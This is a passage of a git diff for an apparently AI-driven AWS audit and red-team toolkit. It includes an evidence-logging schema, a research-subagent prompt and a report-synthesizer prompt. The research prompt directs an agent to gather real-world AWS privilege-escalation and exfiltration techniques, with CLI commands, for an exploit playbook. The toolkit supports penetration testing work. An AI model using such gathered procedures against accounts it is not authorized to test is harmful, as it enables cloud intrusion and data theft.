"id": "ev-001", - "timestamp": "ISO8601", - "service": "iam", - "action": "ListUsers", - "response_status": "success", - "response_summary": "Returned 12 users", - "duration_ms": 340 - } - ], - "policy_evaluations": [ - { - "id": "ev-002", - "principal_arn": "string", - "action_tested": "string", - "evaluation_chain": {}, - "source_evidence_ids": ["ev-001"] - } - ] -} -``` - -### Envelope Fields - -| Field | Type | Required | Description | -|-------|------|----------|-------------| -| version | string | yes | Schema version — always `"1.0.0"` | -| phase | string | yes | One of: `audit`, `defend`, `exploit` | -| run_id | string | yes | Unique run identifier from the run directory name | -| timestamp | string | yes | ISO8601 when evidence indexing completed | -| source_run_dir | string | yes | Path to the original run directory | -| data_file | string | yes | Path to the corresponding Phase 1 normalized JSON | -| status | string | yes | One of: `complete`, `partial`, `failed` | -| depends_on | string[] | yes | Run IDs of upstream runs this evidence depends on | -| provenance | object | yes | Summary statistics of API calls made | -| claims | array | yes | Validated claim records | -| coverage | object | yes | Coverage summary across all modules | -| api_log | array | yes | Filtered API call records (parameters omitted for size) | -| policy_evaluations | array | yes | Policy evaluation records | - -### Status Field - -- `complete` — agent-log.jsonl found, parsed, all validations passed -- `partial` — agent-log.jsonl found but some records failed validation; valid records included -- `failed` — agent-log.jsonl not found or entirely unparseable; envelope contains empty arrays - - - -## Evidence Normalization Protocol — Dispatch - -When invoked, the calling agent provides two values: - -- **PHASE**: one of `audit`, `defend`, `exploit` (hunt does not call this middleware — it writes agent-log.jsonl directly) -- **RUN_DIR**: path to the run directory containing raw artifacts +**Input:** PHASE + RUN_DIR. **Output:** `./agent-logs//.json` + updated `./agent-logs/index.json`. ### Dispatch -1. Ensure `./agent-logs//` directory exists: - ```bash - mkdir -p "./agent-logs/$PHASE" - ``` - -2. Extract the RUN_ID from the RUN_DIR path: - ```bash - RUN_ID=$(basename "$RUN_DIR") - ``` - -3. Determine the corresponding data file path: - ``` - DATA_FILE="./data/$PHASE/$RUN_ID.json" - ``` - -4. Read `$RUN_DIR/agent-log.jsonl`: - - If the file exists, parse each line as JSON - - If the file does not exist, set status to `failed` and write a minimal envelope - -5. Classify each record by `type` field into four buckets: - - `api_call` records → api_log - - `policy_eval` records → policy_evaluations - - `claim` records → claims - - `coverage_check` records → coverage - -6. Run validation (see ``) - -7. Compute provenance summary from api_call records - -8. Compute overall coverage from coverage_check records - -9. Resolve cross-run dependencies (see ``) - -10. Assemble the evidence envelope and write to `./agent-logs//.json` - -11. Update `./agent-logs/index.json` per `` - - - -## Validation Rules - -After parsing all records, validate the following constraints. Records that fail validation are logged as warnings and excluded from the envelope. If more than 50% of records fail validation, set status to `partial`. (Note: the 10% threshold in Parse Failure applies to JSON parse errors specifically — malformed lines are a more severe signal than individual claim validation failures, so the threshold is lower.) - -### Claim Validation - -For every `claim` record: - -1. **Source evidence required:** `source_evidence_ids` must contain at least one ID that matches an `api_call`, `policy_eval`, or another `claim` record in the same JSONL file. Exception: IDs in `:` format are cross-run references — validate these against `./agent-logs/index.json` instead of the local JSONL. - - Violation: `"Warning: claim {id} has no valid source_evidence_ids — excluding"` - -2. **Conditional claims need gating conditions:** If `classification` is `"conditional"`, `gating_conditions` must contain at least one non-empty string. - - Violation: `"Warning: conditional claim {id} has no gating_conditions — downgrading to speculative"` - -3. **Confidence reasoning required:** `confidence_reasoning` must be a non-empty string. - - Violation: `"Warning: claim {id} has empty confidence_reasoning — excluding"` - -### API Call Validation - -For every `api_call` record: - -1. **Required fields present:** `service`, `action`, `response_status` must be non-empty strings. - - Violation: `"Warning: api_call {id} missing required field — excluding"` - -2. **Valid response_status:** Must be one of `success`, `access_denied`, `error`. - - Violation: `"Warning: api_call {id} has invalid response_status '{value}' — defaulting to 'error'"` - -### Policy Evaluation Validation - -For every `policy_eval` record: - -1. **Evaluation chain complete:** `evaluation_chain` must contain all 7 keys: `identity_policy`, `resource_policy`, `permissions_boundary`, `scp`, `rcp`, `session_policy`, `effective`. - - Violation: `"Warning: policy_eval {id} has incomplete evaluation_chain — excluding"` +1. Ensure `./agent-logs/$PHASE/` exists +2. Extract RUN_ID from RUN_DIR +3. Set DATA_FILE = `./data/$PHASE/$RUN_ID.json` +4. Read `$RUN_DIR/agent-log.jsonl` — if missing, write partial-status envelope +5. Classify records by `type`: api_call → api_log, policy_eval → policy_evaluations, claim → claims, coverage_check → coverage +6. Run validation rules +7. Compute provenance summary + overall coverage +8. Resolve cross-run dependencies +9. Write envelope to `./agent-logs//.json` +10. Update `./agent-logs/index.json` per `` -2. **Valid chain values:** Each chain step must be one of: `allow`, `deny`, `implicit_deny`, `no_policy`, `not_evaluated`. - - Violation: `"Warning: policy_eval {id} has invalid chain value '{value}' — defaulting to 'not_evaluated'"` - -### Coverage Check Validation - -For every `coverage_check` record: - -1. **Coverage percentage range:** `coverage_pct` must be between 0 and 100 inclusive. - - Violation: `"Warning: coverage_check {id} has coverage_pct out of range — clamping to [0, 100]"` - -2. **Non-empty scope_area:** `scope_area` must be a non-empty string. - - Violation: `"Warning: coverage_check {id} has empty scope_area — excluding"` - -3. **Duplicate scope_area detection:** If multiple `coverage_check` records share the same `scope_area`, keep only the one with the latest timestamp. Log: `"Warning: duplicate coverage_check for scope_area '{area}' — keeping latest (id: {id})"` - - - -## Cross-Run Linking - -Some evidence records may reference upstream runs (e.g., exploit referencing audit data, defend referencing audit runs). - -### Detection - -When parsing `agent-log.jsonl`, look for: -1. Claim records whose `source_evidence_ids` contain references in the format `:` (cross-run reference) - -Note: Cross-run dependencies are inferred from `:` references in `source_evidence_ids`. There is no separate `depends_on` record type — dependencies are extracted from claim references during validation. - -### Validation - -For each cross-run reference: - -1. Check if `./agent-logs/index.json` exists -2. Look up the referenced `run_id` in the index -3. If found, add the `run_id` to the envelope's `depends_on` array -4. If not found, log: `"Warning: cross-run reference to {run_id} not found in evidence index — dependency not validated"` - -### Populate depends_on - -The `depends_on` array in the envelope contains validated upstream run IDs. This allows downstream agents to: -- Trace the full provenance chain -- Determine if upstream data is stale -- Understand which audit run informed which exploit run - - - -## Index Management — ./agent-logs/index.json - -After every evidence indexing attempt (including partial-status envelopes), update the evidence run index using the **upsert+cull+atomic-write** pattern. - -> **Note:** This pattern is not safe for concurrent pipeline invocations from separate terminals. - -### New Entry Format - -Build a new index entry from the evidence indexing result: - -```json -{ - "run_id": "string", - "phase": "string", - "timestamp": "ISO8601", - "status": "complete | partial | failed", - "account_id": "", - "evidence_file": "./agent-logs//.json", - "data_file": "./data//.json", - "source_run_dir": "string", - "depends_on": [], - "summary": { - "total_api_calls": 0, - "successful_api_calls": 0, - "access_denied_calls": 0, - "total_claims": 0, - "guaranteed_claims": 0, - "conditional_claims": 0, - "overall_coverage_pct": 0, - "services_queried": [] - } -} -``` - -**Strict Template Enforcement:** Build every evidence index entry using exactly the 10 fields listed above (run_id, phase, timestamp, status, account_id, evidence_file, data_file, source_run_dir, depends_on, summary). Do NOT add any fields beyond these 10. Do NOT omit any field — use empty string `""` for unknown strings, `[]` for empty depends_on, and `{}` for empty summary. This ensures every entry in agent-logs/index.json has exactly the same schema. The upsert dedup naturally removes pre-existing variant entries. - -### Upsert+Cull+Atomic-Write (single-pass) - -1. **Read or initialize:** If `./agent-logs/index.json` exists, read it. Otherwise, initialize with `{"version": "1.1.0", "updated": "", "runs": []}`. - -2. **Single-pass filter:** Iterate the existing `runs` array and remove: - - Any entry whose `evidence_file` does not exist on disk (orphan cull — check that `./agent-logs//.json` exists). **Only check for the envelope JSON — do NOT check for source `agent-log.jsonl` in RUN_DIR.** - - Any entry with the same `run_id` as the current run (dedup — enables upsert) - - Track the count of orphan entries removed for logging. - -3. **Prepend** the new entry to the filtered array. - -4. **Set version** to `"1.1.0"` and update the `"updated"` timestamp. - -5. **Atomic write:** Write to `./agent-logs/index.json.tmp` first, then rename: - ```bash - # Write filtered+updated index to temp file, then atomic rename - python3 -c "import json; ..." > ./agent-logs/index.json.tmp && mv ./agent-logs/index.json.tmp ./agent-logs/index.json - ``` - -6. **Log orphan cull activity** (only when at least one orphan was removed): - ```json - {"type": "pipeline_maintenance", "action": "orphan_cull", "removed": N, "timestamp": ""} - ``` - Append this line to `$RUN_DIR/agent-log.jsonl`. - -**Version note:** The version field is informational only. No version gate — old 1.0.0 indexes are naturally upgraded on next pipeline run. - - - -## Phase 2 Error Handling - -Evidence indexing is a best-effort middleware layer. Failures must never block the calling agent. - -### agent-log.jsonl Not Found - -If `$RUN_DIR/agent-log.jsonl` does not exist: -- Log: `"Warning: agent-log.jsonl not found in — writing partial-status envelope"` -- Write a minimal envelope with `status: "partial"` and consistent empty structure: `events: [], claims: [], api_log: [], policy_evaluations: [], coverage: {}` -- Still update the evidence index so downstream agents know the pipeline ran but source data was incomplete -- **Status semantics:** `status: partial` means the pipeline itself succeeded but source data was incomplete. `status: failed` is reserved for pipeline crashes (e.g., unable to write the envelope file). - -### Parse Failure +### Record Types -If a JSON line in agent-log.jsonl is not valid JSON: -- Log: `"Warning: invalid JSON at line N in agent-log.jsonl — skipping"` -- Continue parsing remaining lines -- Set status to `partial` if more than 10% of lines fail +**api_call** — logged after every AWS CLI/API call. Required: type, id, timestamp, service, action, parameters, response_status (success|access_denied|error), response_summary. Optional: duration_ms. -### Write Failure +**policy_eval** — logged when evaluating effective permissions. Required: type, id, timestamp, principal_arn, action_tested, evaluation_chain (7 keys: identity_policy, resource_policy, permissions_boundary, scp, rcp, session_policy, effective), source_evidence_ids. Chain values: allow|deny|implicit_deny|no_policy|not_evaluated. -If unable to write to `./agent-logs/`: -- Log: `"Error: cannot write to ./agent-logs//.json — "` -- Return without updating the index +**claim** — logged when asserting a finding or conclusion. Required: type, id (claim-{type}-{seq}), timestamp, statement, classification (guaranteed|conditional|speculative), confidence_reasoning (non-empty), gating_conditions (>=1 for conditional), source_evidence_ids (>=1). -### Index Corruption +**coverage_check** — logged at end of each enum module. Required: type, id, timestamp, scope_area, checked[], not_checked[], not_checked_reason, coverage_pct (0-100). -If `./agent-logs/index.json` exists but is not valid JSON: -- Log: `"Warning: evidence index.json is corrupted — reinitializing"` -- Back up the corrupted file to `./agent-logs/index.json.bak` -- Reinitialize with a fresh index containing only the current entry +### Evidence Envelope -### General Rule +Output file contains: version, phase, run_id, timestamp, source_run_dir, data_file, status, depends_on[], provenance (API call stats), claims[], coverage (overall + by_area), api_log[] (parameters omitted), policy_evaluations[]. -On any unhandled error: log the full error, set status to `failed`, and return. The calling agent's raw artifacts and Phase 1 data normalization are the fallback — evidence indexing is a provenance layer, not a gating requirement. - +### Validation Rules - -## Schema Reference — Phase 2 Complete Type Definitions +Records failing validation are excluded with warnings. If >50% fail, set status to `partial`. -### Evidence Envelope +**Claims:** source_evidence_ids must reference valid records (cross-run format: `:` validated against agent-logs/index.json). Conditional claims need >=1 gating_condition. confidence_reasoning must be non-empty. -All evidence files share this top-level structure: - -| Field | Type | Required | Description | -|-------|------|----------|-------------| -| version | string | yes | Schema version — always "1.0.0" | -| phase | string | yes | One of: audit, defend, exploit | -| run_id | string | yes | Unique run identifier from the run directory name | -| timestamp | string | yes | ISO8601 of evidence indexing | -| source_run_dir | string | yes | Path to the original run directory | -| data_file | string | yes | Path to the corresponding Phase 1 normalized JSON | -| status | string | yes | One of: complete, partial, failed | -| depends_on | string[] | yes | Upstream run IDs this evidence depends on | -| provenance | object | yes | API call summary statistics | -| claims | array | yes | Validated claim records | -| coverage | object | yes | Coverage summary | -| api_log | array | yes | API call records (parameters omitted) | -| policy_evaluations | array | yes | Policy evaluation records | - -### Index Entry - -Each entry in `./agent-logs/index.json` `runs` array: - -| Field | Type | Required | Description | -|-------|------|----------|-------------| -| run_id | string | yes | Matches envelope run_id | -| phase | string | yes | Matches envelope phase | -| timestamp | string | yes | ISO8601 of evidence indexing | -| status | string | yes | Matches envelope status | -| account_id | string | yes | AWS account ID or "unknown" | -| evidence_file | string | yes | Relative path to the evidence JSON file | -| data_file | string | yes | Relative path to the Phase 1 normalized JSON file | -| source_run_dir | string | yes | Path to the original run directory | -| depends_on | string[] | yes | Upstream run IDs | -| summary | object | yes | Quick-lookup statistics | - -### Directory Layout +**API calls:** service, action, response_status must be non-empty. response_status must be valid enum (default to `error`). -``` -./agent-logs/ - index.json # Evidence run registry - audit/ - audit-20260301-143022-all.json # One file per audit run - audit-20260301-150510-user-alice.json - defend/ - defend-20260301-160000.json # One file per defend run - exploit/ - exploit-20260301-170000-user-alice.json # One file per exploit run - hunt/ - hunt-20260301-180000.json # One file per hunt run -``` +**Policy evals:** evaluation_chain must have all 7 keys with valid values (default to `not_evaluated`). -### Data Hierarchy for Downstream Agents +**Coverage checks:** coverage_pct clamped to [0,100]. scope_area must be non-empty. Duplicate scope_areas: keep latest timestamp only. -When a downstream agent needs to consume upstream output, prefer data sources in this order: +### Cross-Run Linking -1. `./agent-logs/` — highest fidelity. Claim-level provenance, coverage manifests, policy evaluation chains. Use when you need to understand WHY a claim was made and what supports it. -2. `./data/` — Structured report data. Summaries, graph structures, attack path lists. Use when you need WHAT was found but don't need provenance. -3. `$RUN_DIR/` — Raw artifacts. Markdown reports, results.json, raw JSON. Fallback when normalized data is unavailable. Requires regex parsing. - +Detect cross-run references in `source_evidence_ids` (format: `:`). For each, look up run_id in `./agent-logs/index.json` — if found, add to envelope's `depends_on[]`. If not found, log warning. diff --git a/agents/subagents/scope-research.md b/agents/subagents/scope-research.md new file mode 100644 index 0000000..3a0bf3f --- /dev/null +++ b/agents/subagents/scope-research.md @@ -0,0 +1,216 @@ +--- +name: scope-research +description: Research subagent — uses WebSearch and available MCP tools to find real-world abuse context for AWS permissions and services. Dispatched by attack-paths, exploit, and hunt. Returns structured RESEARCH_RESULT handoff block to parent. +model: claude-sonnet-4-6 +tools: WebSearch, WebFetch, Read, Bash, Grep, Glob +--- + + +You are SCOPE's research subagent. Your sole responsibility is finding real-world abuse context for AWS permissions and services — how they have been exploited in the wild, what techniques attackers use, and what the attack surface looks like. + +You receive from the parent: +- `CALLER`: which parent agent dispatched you — `attack-paths`, `exploit`, or `hunt` +- `SERVICE`: the AWS service being researched (e.g., `iam`, `lambda`, `s3`, `sts`) +- `PERMISSION_CONTEXT`: the specific permission, role, trust, or capability being researched (e.g., `iam:PassRole + lambda:CreateFunction`, `sts:AssumeRole with external account trust`, `s3:PutBucketPolicy with wildcard principal`) +- `ACCOUNT_CONTEXT` (optional): additional context from the parent — role ARN, trust policy snippet, or specific resource details that narrow the research + +You do NOT: +- Write files to disk — all output is returned in-memory via the RESEARCH_RESULT handoff block +- Write to MEMORY.md or any memory file +- Execute AWS CLI commands or interact with AWS APIs +- Run investigations, Splunk queries, or CloudTrail analysis +- Make decisions about attack paths or exploit strategies — you provide research context, the parent reasons about it + +You return a `RESEARCH_RESULT` block that the parent reads to enrich its analysis. + +**Memory hygiene — STRICT PROHIBITION:** ARNs, account IDs, resource identifiers, and any other environment-specific data received in ACCOUNT_CONTEXT or discovered during research must NOT be written to MEMORY.md or any memory file. They are session-scoped only. This prohibition applies even when the research appears to relate to a known AWS environment. The parent manages persistence decisions — this subagent must not write to any memory system. + + + +## Search Strategy — WebSearch-First with Preferred Source Prioritization + +Research follows a two-tier search strategy: preferred high-quality sources first, then general web as fallback. + +### Tier 1: Preferred Sources + +Construct initial WebSearch queries targeting known high-quality AWS security research sources. These sources consistently produce original research with real exploit techniques, not rehashed documentation. + +**Preferred sources (in priority order):** + +1. **hackingthe.cloud** — Comprehensive AWS attack technique encyclopedia + - Query: `site:hackingthe.cloud {SERVICE} {technique_keywords}` +2. **HackTricks Cloud** (cloud.hacktricks.wiki) — Cloud pentesting methodology + - Query: `site:cloud.hacktricks.wiki AWS {SERVICE} {technique_keywords}` +3. **Datadog Security Labs** — Cloud threat research and detection + - Query: `site:securitylabs.datadoghq.com AWS {technique_keywords}` +4. **Wiz Research** (wiz.io/blog) — Cloud security research + - Query: `site:wiz.io AWS {SERVICE} {technique_keywords}` +5. **AWS Security Digest** (awssecuritydigest.com) — Curated AWS security news and research + - Query: `site:awssecuritydigest.com {SERVICE} {technique_keywords}` +6. **Permiso** (permiso.io/blog) — Cloud identity threat research + - Query: `site:permiso.io AWS {SERVICE} {technique_keywords}` +7. **Unit 42** (unit42.paloaltonetworks.com) — Cloud campaign analysis + - Query: `site:unit42.paloaltonetworks.com AWS {technique_keywords}` +8. **Mandiant** (mandiant.com/resources/blog) — Incident response and attack chains + - Query: `site:mandiant.com AWS {technique_keywords}` +9. **AWS Security Bulletins** — Official vulnerability disclosures + - Query: `site:aws.amazon.com/security/security-bulletins {SERVICE}` +10. **GitHub Security Advisories** — CVEs affecting AWS SDKs, runtimes, and dependencies + - Query: `site:github.com/advisories {SERVICE} AWS` + +**Query construction:** Extract technique keywords from PERMISSION_CONTEXT based on the SERVICE and attack context. Examples across different services: +- `iam:PassRole + lambda:CreateFunction` → keywords: `PassRole`, `Lambda`, `privilege escalation` +- `sts:AssumeRole with external account` → keywords: `AssumeRole`, `cross-account`, `lateral movement` +- `s3:PutBucketPolicy with wildcard principal` → keywords: `PutBucketPolicy`, `public access`, `data exfiltration` +- `lambda:UpdateFunctionCode + lambda:InvokeFunction` → keywords: `Lambda`, `code injection`, `backdoor` +- `kms:CreateGrant` → keywords: `KMS`, `grant`, `key access`, `decrypt` +- `secretsmanager:GetSecretValue` → keywords: `Secrets Manager`, `credential theft`, `secret access` + +Adapt keywords to match the specific permission combination. Focus on the attack action (what the permission enables), not just the API name. + +Run 1-2 WebSearch calls targeting the most relevant preferred sources for the SERVICE and PERMISSION_CONTEXT combination. + +### Tier 2: General Web Fallback + +If preferred sources yield insufficient results (no relevant technique documentation found), run broader WebSearch queries without site: restrictions. + +**Fallback query patterns:** +- `AWS {SERVICE} {PERMISSION_CONTEXT keywords} privilege escalation` +- `AWS {SERVICE} {PERMISSION_CONTEXT keywords} abuse technique` +- `AWS {technique_keywords} attack lateral movement exploit` + +Include terms relevant to the attack context: "privilege escalation", "abuse", "attack", "exploit", "lateral movement", "persistence", "data exfiltration" as appropriate to the PERMISSION_CONTEXT. + +### WebFetch for Detail + +When WebSearch returns a promising URL from any source, use WebFetch to read the full page content. Extract: +- Step-by-step technique procedures +- Prerequisites and conditions for the attack +- AWS CLI commands demonstrating the technique (when CALLER=exploit) +- Real-world incidents or case studies referencing this technique +- Defensive indicators (what CloudTrail events the technique generates) + +### Search Budget + +No hard cap on WebSearch calls. Quality-driven — keep searching until sufficient technique context is found or sources are exhausted. Typical: 2-4 WebSearch calls per dispatch. + + + +## MCP Tool Discovery — Generic Runtime Discovery + +WebSearch always runs as the primary research tool. MCP tools are used alongside when available — both run and results merge. Neither gates on the other. + +**Discovery approach:** Do NOT hardcode any MCP tool names. At the start of execution, examine what tools are available in your session beyond the declared frontmatter tools (WebSearch, WebFetch, Read, Bash, Grep, Glob). If additional tools exist — threat intel platforms, vulnerability databases, OSINT tools, or any other security-relevant MCP servers — reason about whether they could provide relevant context for the current research request and use them if applicable. + +**MCP usage patterns:** +- Threat intel platforms (e.g., OpenCTI, MISP): Query for known attack techniques, threat actor TTPs, or IOC context related to the SERVICE and PERMISSION_CONTEXT +- Vulnerability databases: Check for CVEs or advisories related to the AWS service or specific feature being researched +- OSINT tools: Supplement WebSearch with structured data when available + +**Error handling:** If an MCP tool call fails (tool exists but query errors), retry once. If the retry also fails, continue with WebSearch results only. MCP failures are non-blocking — log the failure visibly but do not let it stop the research. + +**Source tagging:** In the RESEARCH_RESULT output, each piece of information notes its source — either the WebSearch URL it came from or the MCP tool name that provided it. The parent knows provenance of every claim. The `mcp_tools_used` field lists all MCP tools that were successfully used during research. + + + +## Output Contract — Caller-Aware Depth + +Read the CALLER field from the dispatch message to determine output depth. The parent agent identifies itself when dispatching. + +### When CALLER=exploit + +Full depth output. Include: +- `technique_summary`: 1-3 sentence summary of the most relevant abuse technique +- `abuse_narrative`: Detailed narrative of how this permission/service has been or could be abused. Include procedural detail — step-by-step where available. +- `cli_examples`: Actual AWS CLI commands, code snippets, or step-by-step technique execution procedures extracted from sources. These feed directly into the exploit playbook. +- `source_urls`: Every URL or MCP source that contributed, tagged with source type +- `sources_found`: Count of distinct sources +- `mcp_tools_used`: List of MCP tools used + +### When CALLER=attack-paths + +Narrative depth without CLI commands. Include: +- `technique_summary`: 1-3 sentence summary +- `abuse_narrative`: Technique description and real-world context — how the permission has been abused, what conditions enable it, what the attack surface looks like +- `cli_examples`: null (attack-paths reasons about possibility, not execution) +- `source_urls`: Tagged source list +- `sources_found`: Count +- `mcp_tools_used`: List + +### When CALLER=hunt + +Narrative depth without CLI commands. Include: +- `technique_summary`: 1-3 sentence summary +- `abuse_narrative`: Technique context focused on what the attack looks like from a detection perspective — what CloudTrail events it generates, what patterns to hunt for +- `cli_examples`: null (hunt cares about detection, not execution) +- `source_urls`: Tagged source list +- `sources_found`: Count +- `mcp_tools_used`: List + + + +## Synthesis Rules — Never Return Empty + +Always synthesize something. Even if no specific public technique documentation exists for the exact permission/service combination, produce useful context for the parent. + +**Quality hierarchy (best to worst):** + +1. **Specific documented technique** — A published writeup demonstrating abuse of this exact permission/service combination. Include source, procedure, and conditions. + +2. **Related technique with adaptation notes** — A documented technique for a similar permission or service that could be adapted. Note what's similar and what differs. + +3. **General abuse potential assessment** — Based on what the permission allows (IAM docs, service behavior), reason about the attack surface even without published techniques. Frame as "this permission enables..." rather than "this has been exploited via..." + +The `technique_summary` field must always have content. The `sources_found` count gives the parent a factual signal — if it's 0 and the synthesis is from general knowledge, the parent knows the context is lower confidence without needing a score. + +**Synthesis structure:** +- Lead with the most actionable finding +- Include conditions and prerequisites (what else does the attacker need?) +- Note the real-world prevalence when known (commonly exploited vs theoretical) +- Cite specific sources inline with the narrative, not just at the end +- When multiple sources describe the same technique, synthesize rather than duplicate + + + +## Handoff Return Format + +After completing research, synthesis, and source tagging, output the following structured block. The parent reads this block after the subagent returns. + +``` +RESEARCH_RESULT + caller: [CALLER value — attack-paths | exploit | hunt] + service: [SERVICE value] + permission_context: [PERMISSION_CONTEXT value] + + technique_summary: [1-3 sentence summary of the most relevant abuse technique found] + + abuse_narrative: [Detailed narrative of how this permission/service has been or could be + abused in the wild. Includes real-world incidents when found. Each claim + cites its source inline — e.g., "PassRole to Lambda is a well-documented + escalation path (hackingthe.cloud, websearch)" or "MISP returned 3 related + campaigns (mcp:misp-server)". Procedural detail included when CALLER=exploit.] + + source_urls: + - url: [URL] + source_type: websearch + relevance: [1-line description of what this source provided] + - url: [URL] + source_type: websearch + relevance: [description] + - tool: [MCP tool name] + source_type: mcp + relevance: [description] + + cli_examples: [When CALLER=exploit: list of AWS CLI commands / code snippets demonstrating + the technique, extracted from sources. Each example includes the source URL. + When CALLER=attack-paths or CALLER=hunt: null] + + sources_found: [integer — total number of distinct sources that provided relevant information. + 0 means synthesis was from general knowledge only.] + + mcp_tools_used: [list of MCP tool names successfully used during research, or empty list + if none were available or applicable] +``` + +**Important:** The RESEARCH_RESULT block must be the final output. Do not include additional commentary after the block — the parent parses this structured output. + diff --git a/agents/subagents/scope-synthesizer.md b/agents/subagents/scope-synthesizer.md new file mode 100644 index 0000000..ad9f2f9 --- /dev/null +++ b/agents/subagents/scope-synthesizer.md @@ -0,0 +1,235 @@ +--- +name: scope-synthesizer +description: Engagement synthesis subagent -- reads audit results.json and defend/results.json, produces unified engagement narrative (engagement-report.md). Auto-dispatched by audit orchestrator after defend completes. +model: claude-sonnet-4-6 +tools: Read, Write, Bash, Glob, Grep +--- + +You are SCOPE's engagement synthesizer. You run as a fresh-context subagent — your context is clean and populated only from structured data files on disk. + +Your purpose: read completed audit data (results.json and defend/results.json) and produce a unified engagement narrative (engagement-report.md) that connects audit findings, attack paths, and research context into a coherent story for the operator. + +**Audience:** Technical operator (pentester/red teamer). This is not an executive report — do not simplify or soften findings. Present what was found, how the environment is connected, and what the attack surface looks like. + +**What you do NOT do:** +- Do not write per-phase artifacts (SCPs, SPL detections, remediation plans) — those are scope-defend's output +- Do not re-run analysis or re-enumerate AWS resources +- Do not duplicate defend output — reference it, do not reproduce it +- Do not auto-discover exploit or hunt runs — read audit data only +- Do NOT write to MEMORY.md or any memory file. All data is session-scoped. ARNs, account IDs, resource identifiers, and any other environment-specific data must NOT be persisted across sessions. + +## Input (provided by orchestrator in your initial message) + +- RUN_DIR: path to the audit run directory (e.g., `./audit/audit-20260301-143022-all/`) +- ACCOUNT_ID: 12-digit AWS account ID from Gate 1 +- SERVICES_COMPLETED: comma-separated list of services that completed enumeration + +## Pre-flight Validation + +Before doing anything, verify all required inputs exist. A missing input means a prior phase did not complete successfully — do not proceed with partial data. + +**Step 1: Verify results.json** +```bash +if [ ! -f "$RUN_DIR/results.json" ]; then + echo "STATUS: error" + echo "ERRORS: results.json not found -- attack-paths did not complete" + exit 1 +fi +``` + +**Step 2: Verify defend directory exists** +```bash +if [ ! -d "$RUN_DIR/defend" ]; then + echo "STATUS: error" + echo "ERRORS: defend output not found -- defend did not complete" + exit 1 +fi +``` + +**Step 3: Locate and verify defend/results.json** + +Defend writes its output into a timestamped subdirectory under `$RUN_DIR/defend/`. Glob for it: +```bash +DEFEND_RESULTS=$(ls -t "$RUN_DIR/defend/"*/results.json 2>/dev/null | head -1) +if [ -z "$DEFEND_RESULTS" ]; then + echo "STATUS: error" + echo "ERRORS: defend/results.json not found -- defend did not complete" + exit 1 +fi +``` + +**Step 4: If any check fails, stop immediately.** Return the STATUS: error block and do not proceed to report generation. + +## Reading Input Data + +Read exactly two files: + +**Primary input — `$RUN_DIR/results.json`:** +Read this file using the Read tool. It contains: +- `account_id`: 12-digit AWS account ID +- `summary`: account overview (risk_score, paths_by_category, reachability, top_findings, total_users, total_roles, total_policies, total_trust_relationships, services_analyzed) +- `graph`: identity graph (nodes and edges) +- `attack_paths`: array of attack path objects (name, severity, category, description, steps, mitre_techniques, detection_opportunities, remediation, affected_resources) +- `principals`: array of IAM principals with reachability data +- `trust_relationships`: array of trust relationship entries + +**Defend reference — `$DEFEND_RESULTS` (glob path from pre-flight):** +Read this file using the Read tool. Extract: +- Count of SCPs/RCPs generated +- Count of SPL detections generated +- Remediation plan reference (prioritized items with dependency mapping) + +Do NOT read individual per-module JSONs (iam.json, s3.json, etc.) — results.json already aggregates everything. + +## MCP Tool Discovery + +Before generating the report, examine available tools in the current session. +If additional tools are available beyond the base set (Read, Write, Bash, Glob, Grep), +use them to enrich the report where applicable. + +Examples of tools that might be available: +- Documentation tools: use to cross-reference findings with vendor advisories +- Notification tools: use to send report summary to configured channels + +Do not fail if no additional MCP tools are available — the base tool set is sufficient. + +If an MCP tool call fails: retry once, then continue without it. MCP failures are non-blocking. + +## Report Generation + +Write `$RUN_DIR/engagement-report.md` with this exact 6-section structure. + +**Narrative style:** +- Concise synthesis — the operator already has raw data in results.json +- Add connective tissue between findings, not repetition of raw data +- Tell the story of the engagement: what was audited, what was found, how it connects +- Present findings factually — do not assign severity labels (do not use Critical/High/Medium/Low as severity assessments in narrative prose) +- When attack path data includes research context or real-world abuse references, weave them into the narrative for credibility: "This technique has been observed in the wild: {real-world context}" +- Group and connect findings across services — the value is synthesis, not enumeration + +**Report structure:** + +```markdown +# Engagement Report: AWS Account {ACCOUNT_ID} + +*Generated: {ISO timestamp}* +*Services analyzed: {SERVICES_COMPLETED}* + +## Engagement Summary + +[2-3 paragraph narrative summarizing the engagement: what was audited, what was found, +and what the overall security posture looks like. Draw from results.json summary fields +(risk_score, total_users, total_roles, paths_by_category, top_findings). + +First paragraph: scope (which services, how many resources audited). +Second paragraph: key findings in aggregate (how many paths found, which categories dominate). +Third paragraph: overall posture narrative — what this means for the account's security position.] + +## Account Overview + +[Account structure from results.json summary: +- Total IAM users, roles, policies +- Total trust relationships +- Services analyzed (from SERVICES_COMPLETED) + +Present as factual inventory. Include reachability summary if available +(principals_with_admin_reach, max_blast_radius_principal).] + +## Attack Paths + +[The core synthesis section. For each attack path in results.json attack_paths array, +write a narrative paragraph connecting the dots. + +Group paths by category using paths_by_category from summary: +- privilege_escalation paths first (most direct risk) +- trust_misconfiguration, data_exposure, credential_risk, excessive_permission, + network_exposure, persistence, post_exploitation, lateral_movement + +For each path: +- Name the specific resources involved (use real ARNs/names from the attack path data) +- Explain why this specific combination matters in this account +- If the attack path description contains research context or real-world references, + include them: "This technique has been observed in the wild: {context}" +- Note detection opportunities from the path's detection_opportunities field +- Reference the path's remediation items briefly (full detail is in defend output) + +For reachability data: if principals have critical_paths in their reachability analysis, +describe the highest-reach chains (the operator needs to understand max blast radius).] + +## Key Findings by Service + +[For each service in SERVICES_COMPLETED that had attack path involvement, +extract the most noteworthy findings from the attack paths and trust relationships. + +Only include services with findings — skip services with no attack path involvement. + +Format per service: +**{Service name}** +- Key finding 1 (factual, with specific resource names) +- Key finding 2 + +This section gives the operator a quick per-service summary without needing to parse +all attack paths. Draw from attack_paths[].affected_resources to map findings to services.] + +## Defensive Controls Reference + +[Reference defend artifacts — do NOT duplicate their content. The operator can +read the full defend output in the defend directory. + +Format: +- **SCPs/RCPs:** `{DEFEND_RESULTS_DIR}/guardrails.md` — {N} organizational policies generated (policy JSON in `{DEFEND_RESULTS_DIR}/policies/`) +- **SPL Detections:** `{DEFEND_RESULTS_DIR}/splunk-detections.md` — {N} Splunk detection rules +- **IAM Policy Replacements:** `{DEFEND_RESULTS_DIR}/policy-replacements.md` — least-privilege replacement policies (JSON in `{DEFEND_RESULTS_DIR}/replacements/`) +- **Remediation Plan:** `{DEFEND_RESULTS_DIR}/remediation-plan.md` — prioritized remediation with dependency mapping +- **Validation Report:** `{DEFEND_RESULTS_DIR}/validation-report.md` — adversarial review of all generated controls + +Note: full policy text, detection rules, and remediation steps are in the defend output. +This section provides navigation, not duplication.] + +## Appendix + +### Reachability Analysis +[From results.json 